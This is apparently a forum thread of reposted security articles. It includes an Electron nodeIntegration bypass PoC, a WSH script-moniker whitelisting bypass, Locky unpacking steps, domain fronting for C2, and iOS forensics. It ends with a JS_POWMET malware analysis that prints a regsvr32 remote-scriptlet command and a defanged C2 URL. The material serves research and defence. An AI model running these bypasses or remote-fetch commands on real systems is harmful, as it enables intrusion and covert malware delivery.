  7. Publicat pe 7 aug. 2017 In this talk, we recount how we found the first SHA-1 collision. We delve into the challenges we faced from developing a meaningful payload, to scaling the computation to that massive scale, to solving unexpected cryptanalytic challenges that occurred during this endeavor. We discuss the aftermath of the release including the positive changes it brought and its unforeseen consequences. For example it was discovered that SVN is vulnerable to SHA-1 collision attacks only after the WebKit SVN repository was brought down by the commit of a unit-test aimed at verifying that Webkit is immune to collision attacks. Building on the Github and Gmail examples we explain how to use counter-cryptanalysis to mitigate the risk of a collision attacks against software that has yet to move away from SHA-1. Finally we look at the next generation of hash functions and what the future of hash security
      • 1
      • Upvote
  8. Ar fi interesant sa vedem ca "cineva" a avut acces la serverele lor si a introdus acel backdoor. Oricum, dat fiind faptul ca distributia e folosita de multi din domeniul IT security, nu ar fi de mirare sa aiba ceva mai bine ascuns, cu sau fara intentie. Acum ca a aparut si cartea, face cineva un kali from scratch sa putem compara cu binarul (iso) lor?
  9. Oare explica si de ce mai multi utilizatori aveau la MySQL/MariaDB un user cu acces full de la aphrodite.kali.org?
  10. Publicat pe 4 aug. 2017 In this video we figure out how to do a popunder in Chrome version 59, by using a trick. Hopefully Chrome fixes this, because I resent this kind of advertisement. PoC: https://liveoverflow.com/poc/popunder...
  11. Modern Alchemy: Turning XSS into RCE 03 Aug 2017 - Posted by Luca Carettoni TL;DR At the recent Black Hat Briefings 2017, Doyensec’s co-founder Luca Carettoni presented a new research on Electron security. After a quick overview of Electron’s security model, we disclosed design weaknesses and implementation bugs that can be leveraged to compromise any Electron-based application. In particular, we discussed a bypass that would allow reliable Remote Code Execution (RCE) when rendering untrusted content (for example via Cross-Site Scripting) even with framework-level protections in place. In this blog post, we would like to provide insight into the bug and remediations. What’s Electron? While you may not recognize the name, it is likely that you’re already using Electron since it’s running on millions of computers. Slack, Atom, Visual Studio Code, WordPress Desktop, Github Desktop, Basecamp3, Mattermost are just few examples of applications built using this framework. Any time that a traditional web application is ported to desktop, it is likely that the developers used Electron. Understanding the nodeIntegration flag While Electron is based on Chromium’s Content module, it is not a browser. Since it facilitates the construction of complex desktop applications, Electron gives the developer a lot of power. In fact, thanks to the integration with Node.js, JavaScript can access operating system primitives to take full advantage of native desktop mechanisms. It is well understood that rendering untrusted remote/local content with Node integration enabled is dangerous. For this reason, Electron provides two mechanisms to “sandbox” untrusted resources: BrowserWindow mainWindow = new BrowserWindow({ "webPreferences": { "nodeIntegration" : false, "nodeIntegrationInWorker" : false } }); mainWindow.loadURL('https://www.doyensec.com/'); WebView <webview src="https://www.doyensec.com/"></webview> In above examples, the nodeIntegration flag is set to false. JavaScript running in the page won’t have access to global references despite having a Node.js engine running in the renderer process. Hunting for nodeIntegration bypasses It should now be clear why nodeIntegration is a critical security-relevant setting for the framework. A vulnerability in this mechanism could lead to full host compromise from simply rendering untrusted web pages. As modern alchemists, we use this type of flaws to turn traditional XSS into RCE. Since all Electron applications are bundled with the framework code, it is also complicated to fix these issues across the entire ecosystem. During our research, we have extensively analyzed all project code changes to uncover previously discovered bypasses (we counted 6 before v1.6.1) with the goal of studying Electron’s design and weaknesses. Armed with that knowledge, we went for a hunt. By studying the official documentation, we quickly identified a significant deviation from standard browsers caused by Electron’s “glorified” JavaScript APIs. When a new window is created, Electron returns an instance of BrowserWindowProxy. This class can be used to manipulate the child browser window, thus subverting the Same-Origin Policy (SOP). SOP Bypass #1 <script> const win = window.open("https://www.doyensec.com"); win.location = "javascript:alert(document.domain)"; </script> SOP Bypass #2 <script> const win = window.open("https://www.doyensec.com"); win.eval("alert(document.domain)"); </script> The eval mechanism used by the SOP Bypass #2 can be explained with the following diagram: Additional source code review revealed the presence of privileged URLs (similar to browsers’ privileged zones). Combining the SOP-bypass by design with a specific privileged url defined in lib/renderer/init.js, we realized that we could override the nodeIntegration setting. A simple, yet reliable, proof-of-concept of the nodeIntegration bypass affecting all Electron releases prior to 1.6.7 is hereby included: <!DOCTYPE html> <html> <head> <title>nodeIntegration bypass (SOP2RCE)</title> </head> <body> <script> document.write("Current location:" + window.location.href + "<br>"); const win = window.open("chrome-devtools://devtools/bundled/inspector.html"); win.eval("const {shell} = require('electron'); shell.openExternal('file:///Applications/Calculator.app');"); </script> </body> </html> On May 10, 2017 we reported this issue to the maintainers via email. In a matter of hours, we received a reply that they were already working on a fix since the privileged chrome-devtools:// was discovered during an internal security activity just few days before our report. In fact, while the latest release on the official website at that time was 1.6.7, the git commit that fixes the privileged url is dated April 24, 2017. The issue was fixed in 1.6.8 (officially released around the 15th of May). All previous versions of Electron and consequently all Electron-based apps were affected. Mitigating nodeIntegration bypass vulnerabilities Keep your application in sync with the latest Electron framework release. When releasing your product, you’re also shipping a bundle composed of Electron, Chromium shared library and Node. Vulnerabilities affecting these components may impact the security of your application. By updating Electron to the latest version, you ensure that critical vulnerabilities (such as nodeIntegration bypasses) are already patched and cannot be exploited to abuse your application. Adopt secure coding practices. The first line of defense for your application is your own code. Common web vulnerabilities, such as Cross-Site Scripting (XSS), have a higher security impact on Electron hence it is highly recommend to adopt secure software development best practices and perform periodic security testing. Know your framework (and its limitations). Certain principles and security mechanisms implemented by modern browsers are not enforced in Electron (e.g. SOP enforcement). Adopt defense in depth mechanisms to mitigate those deficiencies. For more details, please refer to our Electronegativity, A study of Electron Security presentation and Electron Security Checklist white-paper. Use the recent “sandbox” experimental feature. Even with nodeIntegration disabled, the current implementation of Electron does not completely mitigate all risks introduced by loading untrusted resources. As such, it is recommended to enable sandboxing which leverages the native Chromium sandbox. A sandboxed renderer does not have a Node.js environment running (with the exception of preload scripts) and the renderers can only make changes to the system by delegating tasks to the main process via IPC. While still not perfect at the time of writing (there are known security issues, sandbox is not supported for the <webview> tag, etc.) this option should be enabled to provide additional isolation. Sursa: https://blog.doyensec.com/2017/08/03/electron-framework-security.html
  12. Unpacking Locky I will show you how to unpack a Locky sample with OllyDbg. This packer is indeed an easy one. But you will see for yourself. Download the sample from Hybrid-Analysis. An alternative way of unpacking this sample is in this video on my channel: The first thing I always do is a static check with a PE analysis tool like PortexAnalyzer. The image will look as follows and already tell us that the file is packed. Several sections of the file have a high entropy, including the .rdata section. Packer identifies like DIE will not know what was used to pack it, because the packer is a custom one. This is often the case with malware samples. This packer has the quirky characteristic to always add 32-bit Edition to the file version information whilst the other information changes: StringFileInfo --------------- language ID: 0x0409 code page: 0x04b0 CompanyName: Doubtsoftware.com FileDescription: Advanced Task Scheduler 32-bit Edition FileVersion: 4.1.0.612 InternalName: #dvenced Task Scheduler 32-bit Edition LegalCopyright: Copyright © Southsoftware.com, 2002-2015 OriginalFilename: Bifscheduler_edmin.exe ProductName: Advanced Task Scheduler 32-bit Edition ProductVersion: 4.1.0.612 The debug information has a strange, unknown type, hence Portex does not parse it any further: Debug Information ***************** Time Date Stamp: Thu Dec 09 05:07:00 CET 2083 Type: 4102553603 no description available If you look into the binary (tip: search for 'RSDS' to find it with the hex editor) you will see that there is debug path that has been created or modified in a random fashion: Z:\as\28cxkoao\azoozykz\l0t\jx\w9y4cni\jyc6mq3\mvnt.pdb Whilst this does not help to unpack the file, it might help to recognize this custom packer in the future. A check of the strings in the binary and the imports won't get us any further. If you get this sample in a fresh state, you will easily see that this is Locky with dynamic analysis. But once the samples are older and can't find a working C&C, they won't encrypt anymore. Now load the binary with OllyDbg. Don't forget to take a snapshot of your VM at this point. Simply step over with F8 while keeping your eyes open. If you happen to step over the following call you will see that the sample is doing a lot (reload the sample if that happens), so you should step into it instead (press f7). The same happens at the following call, also step into: Just keep on going like this, stepping over calls unless they start to do a lot, and keep your eyes open. At address 0x402364 you might notice that the code writes to the .rdata section (0x417EE on that image). Indeed, if you put a breakpoint to the instruction and watch .rdata in the dump window while running to the breakpoint (F9), you will see how .rdata gets decrypted. The jump to the .rdata section appears in 0x4020F0. Note that push followed by ret equals a jump instruction. This ret instruction will jump to 0x41577A. Compare that with the PortexAnalyzer report or the Memory window in OllyDbg to verify that this virtual address is in the .rdata section. Unfortunately we are not there yet. The decrypted code in the .rdata section is also a packer stub. Step through the code for a while. At some point you will see that the code collects addresses to common DLL functions with GetProcAddress. One of those is RtlDecompressBuffer, which is used by lots of packers to unpack their payload. Break at address 0x415B37. Right-click the value of EAX and click "Follow in Disassembler". You will now see the code of the RtlDecompressBuffer function. Break at the PUSH DWORD PTR [EBP + C] instruction: Now right-click the EDI value and Follow in Dump You will see an empty dump window And after stepping over (F8) the file will unpack in memory. The last thing to do is to open the Memory window and select the right memory area to dump the unpacked executable. Choose the location to save the dump to and you are done. The result is an unpacked Locky as you can verify by checking the strings of the dump or looking at it with a hex editor. Posted 8 hours ago by Karsten Hahn Sursa: http://struppigel.blogspot.de/2017/08/unpacking-locky.html
  13. WSH INJECTION: A CASE STUDY August 3, 2017 by enigma0x3 At BSides Nashville 2017, Casey Smith (@SubTee) and I gave a talk titled Windows Operating System Archaeology. At this talk, we released a handful of offensive techniques that utilized the Component Object Model (COM) in Windows. One such technique described was abusing attacker controlled input passed to calls to GetObject(), which I will be discussing here. Some environments use whitelisting to prevent unsigned Windows Scripting Host (WSH) files from running, especially with the rise of malicious .js or .vbs files. However, by “injecting” our malicious code into a Microsoft signed WSH script, we can bypass such a restriction. Before diving into the different scripts that can be used for injection, it’s important to understand some of the mechanics behind why this works. When abusing injection, we are taking advantage of attacker controlled input passed to GetObject() and then combining that with the “script:” or “scriptlet:” COM monikers. GetObject() This method allows you to access an already instantiated COM object. If there isn’t an instance of the object already (if invoked without a moniker), this call will fail. For example, accessing Microsoft Excel’s COM object via GetObject() would look like this: Set obj = GetObject( , "Excel.Application") For the above to work, an instance of Excel has to be running. You can read more about GetObject() here. COM Monikers While GetObject() is interesting by itself, it only allows us to access an instance of an already instantiated COM object. To get around this, we can implement a COM moniker to facilitate our payload execution. If you aren’t familiar with COM monikers, you can read more about them here. There are various COM monikers on Windows that allow you to instantiate objects in various ways. From an offensive standpoint, you can use these monikers to execute malicious code. That is a topic for another blog post :-). For this post, we will focus on the “script:” and “scriptlet:” monikers. These particular monikers interface with scrobj.dll and help facilitate execution of COM scriptlets, which will be the payload. This was discovered by Casey Smith (@SubTee) and discussed at DerbyCon 2016 as well as blogged about here. An example COM scriptlet will look like this: <?XML version="1.0"?> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </scriptlet> You can also use James Forshaw’s (@tiraniddo) tool DotNetToJScript to extend the JScript/VBScript in the COM Scriptlet, allowing for Win32 API access and even Shellcode execution. When you combine one of these two monikers and various calls to GetObject(), a lot of fun is had. Now that the very brief COM background is over, time to look at an example PubPrn.vbs On Windows 7+, there is a Microsoft Signed WSH script called “PubPrn.vbs,” which resides in “C:\Windows\System32\Printing_Admin_Scripts\en-US”. When looking at this particular script, it becomes apparent that it is taking input provided by the user (via command line arguments) and passing an argument to “GetObject()”. This means that we can run this script and pass it the two arguments it expects. The first argument can be anything and the second argument is the payload via the script: moniker. Note: If you provide a value that isn’t a network address for the first argument (since it expects a ServerName), you can add the “/b” switch to cscript.exe when calling to suppress any additional error messages. Since VBScript relies on COM to perform actions, it is used heavily in numerous Microsoft signed scripts. While this is just one example, there are bound to be others that can be exploited in a similar fashion. I encourage you to go hunting Matt N. Sursa: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
  14. iOS 10.3.2 XPC Userland Jailbreak Exploit Tutorial - CVE-2017-7047 by Ian Beer Publicat pe 3 aug. 2017 Just thought I'd make a quick video explaining a bit about the new user land research tool & exploit released by Ian Beer for iOS 10.3.2! Currently this project only allows you to mess with user land processes such as backboardd, launchd, SpringBoard, etc & is DOES NOT provide a method of fully jailbreaking & patching the kernel and installing Cydia and other jailbroken packages onto the device. Download the tool - https://bugs.chromium.org/p/project-z... Thanks for watching! ∎∎∎My Social Media∎∎∎ Twitter - https://bit.ly/2rA593q Website - https://bit.ly/2sDHJiB
      • 1
      • Upvote
  15. Tim MalcomVetter Red Team Leader at Fortune 1. I left my clever profile in my other social network: https://www.linkedin.com/in/malcomvetter Aug 3 Simplifying Domain Fronting Like many things in InfoSec, we complicate concepts with new terms and lingo, but the concepts at their core are simple. “Domain Fronting” is a great example. Domain fronting is a new(ish) technique attackers are using for hiding their command and control traffic to infected computers by masquerading as traffic to trusted servers hosted behind Content Delivery Networks (CDNs). This concept can appear so confusing, but when boiled down to its core, it’s simple: there are two “addresses” for the command and control server and the attacker mismatches them in a careful way. That’s it. Let’s break it down. The first “address” is obvious: the DNS domain name which is passed in each URL, e.g. http://www.example.com. For a normal self-hosted website (no CDN), the HTTP request would look something like this: GET /path/file.html HTTP/1.1 Host: www.example.com …snip… The second “address” is the host header in the HTTP request header (above). In this simplest case, the DNS domain and the host header match. But the host header can mismatch, often by design, especially when the website is hosted behind a CDN. Let’s assume the website owners move www.example.com behind a fake CDN service called examplecdn.com. Clients still send traffic to http://www.example.com as the CDN will be transparent to them, but the CDN assigns a unique host header to the website owners so that the CDN knows to retrieve their site content and not another CDN customer’s content. Let’s assume that host header is abc.examplecdn.comwhich makes a request like this: GET /path/file.html HTTP/1.1 Host: abc.examplecdn.com …snip… The first address of http://www.example.com stays the same. The second “address” (the host header) is now intentionally mismatched, but the website operates as intended — nothing malicious yet. An attacker can exploit this scenario by first signing up for the CDN service (which is typically inexpensive). Let’s assume the CDN assigns the host header value of xyz.examplecdn.com to the attacker. An attacker can masquerade as the trusted server at http://www.example.com by simply configuring infected clients to use the attacker’s host header, so a request would look like this: GET /path/file.html HTTP/1.1 Host: xyz.examplecdn.com …snip… That’s it. It’s just swapping in the attacker’s host header. Simple enough, if the conditions are right, and the attacker can enumerate those conditions through open source intelligence (OSINT), namely: which websites use which CDNs and how to setup service behind the target CDN. In fact, that’s the hardest part of the attack — finding a good domain to masquerade behind that fits the victim. Sprinkle in HTTPS and there’s sort of a mini “race condition” that can be exploited because the encryption happens earlier since it sits at a lower layer in the OSI stack than the HTTP protocol. Not to mention that encryption can make defense more difficult (defenders must decrypt all traffic to inspect internally). These are the steps for HTTPS traffic: 1. Client performs DNS lookup of server (www.example.com) 2. Client initiates a connection to the IP address from the DNS lookup on TCP port 443 3. The server presents a server certificate to begin the TLS tunnel setup a. At this step, the server must anticipate which certificate name the client wants based on the IP address of the server. In this case, the server presents a certificate with www.example.com and not examplecdn.com or someotherexample.com. Virtual hosting multiple websites over HTTPS requires unique IP addresses per VHOST (or wildcard certificates) because TLS/SSL happens before HTTP. 4. The client completes TLS negotiation and submits the first HTTP request, optionally with a host header defined. 5. The server reads the request and may make decisions to present different content based on the value of the host header. Step #5 is when Domain Fronting happens — since attackers simply switch in their host header for the CDN to route what appears to be trusted website traffic to their command and control server instead. Many CDNs label this as a “feature” not a “bug,” but the CDNs are in the best place to prevent the abuse — it’s very difficult for a defender to detect domain fronting, because it requires decrypting all HTTPS connections, logging host headers, and checking for anomalies, which will be prone to false positives (not to mention this requires a ton of data to be collected). A better defensive approach is to simply decrypt all traffic and look for signs of command and control traffic, such as common URL patterns or predictable patterns in the call backs. So that’s it. When you hear “domain fronting” just think: swapping in an attacker’s host header for HTTP traffic to a high reputation website hosted behind a CDN. Sursa: https://medium.com/@malcomvetter/simplifying-domain-fronting-8d23dcb694a0
  16. IOS Forensics POSTED IN FORENSICS ON JULY 25, 2017 1. INTRODUCTION Day by day, Smart phones and tablets are becoming popular, and hence technology used in development to add new features or improve the security of such devices is advancing too fast. iPhone and iPod are the game changer products launched by Apple. Apple operating system (IOS) devices started growing popular in the mobile world. Latest Smart phones or Tablets can perform ideally most of the tasks which could be performed on Laptop or Personal Computers. IOS devices provide larger storage space which could store Emails, Browsing histories, chat histories, Wi-Fi data and GPS data and more. From the forensics perspective, such devices could present lots of useful artifacts during the investigation. There are well-defined procedures to extract and analyze data from IOS devices which are included in this paper. This paper could be divided into the following sections. Introduction to the forensic processes focused towards mobile forensics, Extracting Logical and Physical data from the IOS devices, IOS file system and storage Analysis, Analysis of logical data, data from the iTunes and iCloud back up, Wi-Fi and GPS data. 2. AN OVERVIEW OF MOBILE FORENSICS PROCESSES Mobile forensics is a field of digital forensics which is focused towards mobile devices which are growing very fast. Due to the exponential growth of the mobile market, Importance of mobile forensics has also increased. Mobile phone generally belongs to a single person so analysis of it could reveal lots of personal information. Due to the rapid growth, it also introduced challenges. The ratio of new models designed and launched is very high which makes very difficult to follow similar procedures. Each case or investigation of the new model needs to consider differently and requires following steps which could be different and unique to the case. With these challenges in mobile forensics, syncing mobiles phone to a computer using software becomes easy. One could extract data like SMS, contacts, installed applications, GPS data and emails, deleted data. 2.1 Collection Below steps are recommended to follow during collection of mobile device Note location from where mobile has been collected. It is good practice to take the picture using the camera of the location and mobile phone before starting any progress. Note the status of the device. Whether it’s powered off or on. If it is power on then, check the battery status, network status. Check where the screen is locked. Search for the SIM package and if any cables are located around 2.2 Preservation Preservation of evidence is a very crucial step in digital forensics. If it is very important to maintain evidence integrity throughout the investigation. For mobile forensics below steps are good practice to follow It is possible that attacker could remotely wipe data or any new activity could override the existing data. So, the first step should be to isolate the mobile device from the network. There are several ways that could be followed according to scenario, Removing SIM card Switching to Airplane mode Use Faraday’s Bag or Jammer Chain of Custody – Chain of custody is the document to maintain each record of the Digital evidence from the collection to presentation. It includes details like serial no, case no, locker no, Investigator’s name, time and date of each step, Details of evidence transportation. It is crucial because it keeps track of the Digital evidence. Hashing – Hashing is the method used to prove the integrity of the evidence. MD5 or SHA are widely used algorithms to calculate the Hash values of the evidence. As previously mentioned it is almost impossible to interact mobile device without altering it. But we could calculate the hash value of the extracted data through logical extraction or of the image file extracted through physical extraction. 2.3 Acquisition There are three methods used for the data extraction from the IOS devices. Below overview has been given about each. Physical – It is a bit-to-bit copy of the device and allows recovering deleted data. Unfortunately, with mobile forensic always it is not possible to use this method. File system – This method would extract files which are visible at file system level. Logical – This method allows to extract particular files from the file system like backup taken using iTunes Sometimes needs to perform offensive techniques like password cracking, Jail Breaking. 3. IOS DEVICES AND FILE SYSTEM Apple developed an operating system for iPhone, iPad and iPod Touch which is known as IOS operating system. Devices running on IOS operating system are called IOS devices. 3.1 IOS Devices iPhone Most famous among IOS devices is iPhone which was very popular due to look, Camera, and Features. Total 17 iPhone models were launched till date. Below Table shows Latest iPhone model released and their specifications. iPhoneModel Camera Spec Cellular radio CPU Spec Firmware RAM Storage iPhone 5 Front – 1.2 Mp Rear – 8.0 Mp Up to LTE(4G) CPU speed -1.2 GHZ Instruction Set – ARMv7s IOS 6.0 1GB 16/32/64 GB iPhone 5s Front – 1.2 Mp Rear – 8.0 Mp Up to LTE(4G) CPU speed -1.3 GHZ Instruction Set – ARMv8 IOS 7.0 1GB 16/32/64 GB iPhone 6 Front – 1.2 Mp Rear – 8.0 Mp Up to LTE(4G) CPU speed -1.38 GHZ Instruction Set – ARMv8 IOS 7.0 1GB 16/32/64 GB iPhone 6s Front – 5 Mp Rear – 12.2 Mp Up to LTE(4G) CPU speed -1.85 GHZ Instruction Set – ARMv8 IOS 9.0 2 GB 16/32/64 GB iPhone SE Front – 1.2 Mp Rear – 12.2 Mp Up to LTE(4G) CP U speed -1.85 GHZ Instruction Set – ARMv8 IOS 9.3 2 GB 16/32/64/128 GB iPhone 7 Front – 7 Mp Rear – 12.2 Mp Up to LTE(4G) CPU speed -2.34 GHZ Instruction Set – ARMv8 IOS 10 2 GB 32/64/128 GB Latest iPhone models and specifications iPhone 6, iPhone 6s, iPhone 6 Plus, iPhone 6s Plus, iPhone SE, iPhone 7 and iPhone 7 Plus are the iPhone models which are currently on the market and very popular due to their features. iPad After the Huge success of the iPhone, Apple launched iPad tablet. The first model was simply named iPad or iPad first Generation. It was released after the iPhone 3Gs and before the iPhone 4. Below table shows Latest iPad Models and specifications. iPad Model Camera Spec Cellular Radio CPU Spec Firmware RAM Storage iPad Air Rear 5 Mp UP to LTE (4G) CPU Speed – 1.4 GHZ Instruction Set – ARMv8 IOS 7.0.3 1 GB 16/32/64/128 GB iPad Air2 Rear 8 Mp UP to LTE (4G) CPU Speed – 1.5 GHZ Instruction Set – ARMv8 IOS 8.1 2 GB 16/64/128 GB iPad Pro Rear 8 Mp UP to LTE (4G) CPU Speed – 2.2 GHZ Instruction Set – ARMv8-A IOS 9.1 4 GB 32/128/256 GB iPad (5th Gen) Rear 8 Mp UP to LTE (4G) CPU Speed – 1.85 GHZ Instruction Set – ARMv8 IOS 10.3 2 GB 32/128 GB iPad Pro (2nd Gen) Rear 12 Mp UP to LTE (4G) CPU Speed – 2.38 GHZ Instruction Set – ARMv8 IOS 10.3.2 4 GB 64/256/512 GB iPad mini 4 Rear 8 Mp UP to LTE (4G) CPU Speed – 1.49 GHZ IOS 9.0 2 GB 16/64/128 GB Latest iPad Models and Specifications. iPod First iPod was launched by Apple in 2001. It was known as “First Generation, ” and subsequent have been referred as “Second Generation” and so on. It was initially launched as Music play. As it is grown, it also provided the ability to play Videos and Games to users. The mentioned below smart feature of iPod models it is likely to come across forensic investigation of iPod device. An examiner could retrieve forensic data from storage, browser, gallery, etc. on an iPod. iPod touch has following features Camera, Wi-Fi Capabilities, Safari web browser, Storage and Playback for Audio, Video and Photo, YouTube player, Apps could be installed from App store iPod evolution chart is shown below. Figure. iPod Evolution Chart 3.2 IOS File System HFS+ File system Apple developed Hierarchical File System (HFS) which provides large data sets. Disk formatted with HFS has 512-byte Blocks at Physical level. There are two types of Blocks in the HFS. Logical Blocks, which are numbered from first to last within the volume. They are also the size of 512 bytes same as physical blocks. Allocation blocks are a group of logical blocks used to track data. Allocation blocks are further grouped together called clumps to reduce fragmentation on volume. HFS uses both absolute time (Local time) as well as UNIX time so one can identify the location of the system. HFS files system uses catalog file system to organize data. It uses B * tree (Balanced tree) structure to organize data. Trees are consisting of nodes. When data are added or deleted, it runs the algorithm to keep balance. Figure. Structure of HFS+ File system As seen in above figure, first 1024 bytes are reserved boot blocks. Volume Header – It contains information about the structure of HFS Volume. It keeps track of Catalog ID Numbering and increases it one each time file added. HFS+ volume header also contains signature “H+.” Allocation file – It keeps track of allocation blocks used by the file system. It basically includes a bitmap. Each bit represents the status of the allocation block. If it is set to 1, that means Allocation block is used, and if it is 0, that means allocation block is not used. Extent Overflow file – It consists of a pointer to the extent of the. If the file is larger than eight contiguous allocation blocks, then it uses extents. Catalog File – It organizes data using balanced tree system as mentioned previously. It utilizes to find the location of file or folder within the volume. It also contains the metadata of file like creation and modification date, permissions. Attribute File – It contains the customizable attributes of a file. Startup File – It assists the booting system which does not have built-in ROM support. Actual data is stored in the file system and tracked by the file system. Alternate Volume Header – It is Back up Volume header located at Last 1024 byte of the volume and its 512 bytes long. Last 512 Bytes are reserved. HFSX File System HFSX file system is a variation of HFS+ file system which is used in the Apple mobile devices. There is only one variation which is that it is case sensitive and it allows having two files with similar names but different case. 3.3 Partitions IOS Devices have two types of partitions. System partition and Data Partition System Partition – System partition does not contain more artifacts related to the investigation as it contains mostly system related information like IOS operating system and pre-installed applications. The system partition is a Read-only as visible in below output of Private/etc./fstab. Figure. fstab iPhone has a single disk hence it is denoted as Disk0. The system partition is Disk0s1, and Data Partition is Disk0s2. Figure. System Partition We can find the user configured password from the /private/etc./passwd file as shown below. Figure. Passwd file As seen in above screenshot, mobile and root password hashes can be retrieved from the passwd file. Further using password cracking tool like “John the Ripper” one can get the password. The root password is “Alpine” and which is the default for all the IOS devices. Data Partition Data partition contains user data and can provide lots of artifacts during the investigation. It is Read/Write partition. The structure of this partition has been changed with the different version of the IOS. Below is the screenshot from the IOS device which is running on IOS 7. Figure. Data Partition Below Directories are listed which could be the interest for the artifacts. Keychains – Keychain.db, which contains user password from various applications Logs – General.log: The OS version and Serial number, Lockdown.log – Lockdown Daemon log Mobile – User Data Preferences – system configurations Run – system logs Tmp -manifest.Plist: Plist Back up Root – Caches, Lockdown, and Preferences Property List Files Property lists are the XML files used in the management of configuration of OS and applications. These files contain useful artifacts related to web cookies, email accounts, GPS Map routes and searches system configuration preferences, browsing history and bookmarks. These files could be open to the simple text editor to view the contents. Figure. Plist SQLite Databases Logical extraction of the iPhone could provide lots of SQLite database files as it uses SQLite databases to store user data, the tool SQLite browser is used to explore and read SQLite database which can be download from http://sqlitebrowser.org/ Main three databases are Call History, Address Book, and SMS databases. These databases could be extracted through applications available like SQLite database Browser as seen in below screenshot. Figure. SQLite Database Browser 4. ACQUISITION OF IOS DEVICES 4.1 Phone Identification During search and seizure, it is necessary that examiner identifies the Phone model. One method is that check the back of the device which contains the model number printed Figure. Model number printed on back of the device Another approach is connecting iPhone to the forensic workstation. Install the library libimobiledevice on your workstation, it supports Windows, MAC and Linux up to 10.3 it can be downloaded from the URL http://www.libimobiledevice.org/ installation steps in details are explained here http://krypted.com/mac-os-x/use-libimobiledevice-to-view-ios-logs/ Regardless of Phone is locked or unlocked; some information can be gathered about connected iDevice using command ideviceinfo as shown in below screenshot. Figure. iDeviceinfo As seen in above figure, we could extract following listed important information about iDevice Device Class, Device Name, WiFiAddress, TelephonyCapability and HardwareModel, IOSversion 4.2 Operating modes of IOS devices IOS devices can be operated in three modes. 1) Normal mode 2) Recovery mode and 3) DFU mode. It is necessary that examiner or Investigator should be aware of this mode as this knowledge is required to decide during the investigation that on which mode device should be operated to extract data or efficient extraction of data. Normal mode When iPhone is switched on, it boots in an operating system, this is normal mode. In normal mode, the user could perform all regular activities. Normal mode boot process consists of three steps: Low-Level Bootloader, iBook and iOS kernel. These boot steps are signed to keep the integrity of the process. Recovery Mode The device enters into recovery mode if during the normal boot process if any step is failed to load or verify. The screenshot below shows the screen during recovery mode. Figure. Screen during Recovery mode This mode is used to perform upgrades or restore iPhone device. iPhone can be entered in recovery mode by following below steps Turn off device by holding power button on the top of the device Hold home button of phone and connect it to computer using USB cable Keep holding home button till Connect to the iPhone screen doesn’t appear and then home button could be released. Reboot device to exit the recovery mode DFU mode Device Firmware Upgrade mode is used to perform IOS upgrading, and it is a low-level mode for diagnosis. During boot up, if Boot ROM is not getting a load or verify, then iPhone presents the Black screen. The phone should be in DFU mode while using most acquisition techniques. Below steps needs to be performed to enter iPhone in a DFU mode. Install iTunes on a Forensic workstation and connect Phone to the forensic workstation using USB. Switch off Phone Hold power button for 3 seconds Hold home button with power button hold for 10 seconds Release the power button and hold home button still didn’t get alerted in iTunes that iPhone in recovery mode has been detected by iTunes. Articol complet: http://resources.infosecinstitute.com/ios-forensics/
  17. A Look at JS_POWMET, a Completely Fileless Malware Posted on:August 2, 2017 at 7:00 am Posted in:Malware Author: Trend Micro By Michael Villanueva As cybercriminals start to focus on pulling off attacks without leaving a trace, fileless malware, such as the recent SOREBRECT ransomware, will become a more common attack method. However, many of these malware are fileless only while entering a user’s system, as they eventually reveal themselves when they execute their payload. Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine. Initial reports from our Smart Protection Network (SPN) data reveals JS_POWMET affecting APAC the most, with almost 90% of the infections coming from the region. Technical Details Figure 1: JS_POWMET infection Diagram Although the exact method of arrival is still not certain, it is likely that the trojan is downloaded by users that visit malicious sites, or as a file that is dropped by other malware. What is clear about this malware is that the following registry has already been changed by the time it is downloaded into the system. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run COM+ = “regsvr32 /s /n /u /i:{Malicious URL, downloads JS_POWMET} scrobj.dll” JS_POWMET is downloaded via an autostart registry entry (shown above). Here are the descriptions for the following parameters used by “regsvr32”: /s = silent option for regsvr32 /n = tells regsvr32 not to use DllRegisterServer /u = Unregister server/object /i = used for passing an optional parameter (ie. URL) to DLLinstall scrobj.dll = Microsoft’s Script Component Runtime In this method, a URL was given to regsvr32 as a parameter, which will make regsvr32 capable of fetching the file (XML with malicious JavaScript) found on the URL. Due to this routine, regsvr32 will become capable of executing arbitrary scripts without saving the XML file on the machine/system. In particular, whenever the affected machine starts up, it will automatically download the malicious file from its Command & Control (C&C) server. Once JS_POWMET is executed, it will then download another file known as TROJ_PSINJECT (Detected by Trend Micro as TROJ_PSINJECT.A). This file is a Powershell script that runs under the process of Powershell. TROJ_PSINJECT will connect to the following website: hxxps://bogerando[.]ru/favicon This allows TROJ_PSINJECT to download a normal file called favicon. The favicon file will then be decrypted and injected into its process using ReflectivePELoader, which is used for injecting EXE/DLL files. To deobfuscate the malware code, it uses the following techniques. Initially, the malware contains Base64 Strings that will be decoded and decrypted using the RC4 key (which is hard-coded into the malware code). The resulting decrypted strings will be a GZIP-compressed string that is decompressed by the malware itself using the GZIP-decompression routine. This results in the codes for the ReflectivePELoader function that will be used to load the decrypted downloaded file. Favicon will also be decrypted using the aforementioned RC4 key, resulting in a malicious DLL file known as BKDR_ANDROM (Detected by Trend Micro as BKDR_ANDROM.ETIN). Again, this part of the process is also fileless; the file will not be saved into the machine but rather injected into the powershell.exe process. All of these routines will be executed by the malware using PowerShell commands. Figure 2: TROJ_PSINJECT code showing the deobfuscation process BKDR_ANDROM will terminate powershell.exe if it is found running in the system. In addition, it will also gather the following data: Root Volume Serial Number Operating System Version Local IP Address Administrator privileges The malware will add registry entries into the system to ensure that it always executes during startup. The autostart registry entry is capable of decoding the Base64-encoded PowerShell command, which will be used to decrypt the encrypted binary data (also found on the registry, added by the malware) that will result in the malicious codes of BKDR_ANDROM. After the decryption process, it will then execute the decrypted malicious codes. While the final payload in this case consists of common routines of BKDR_ANDROM, there is also a chance that future malware authors might make use of other malware as payload. Conclusion While JS_POWMET and the rest of the files it downloads are relatively light in terms of impact, this malware demonstrates the lengths cybercriminals will go to avoid detection and analysis. It also shows that even relatively uncommon infection methods involving fileless malware continually evolve. Organizations and users should always look beyond the obvious malware files and always be on the lookout for “stealthy” malware that manages to slip into the system virtually unnoticed. One of the more 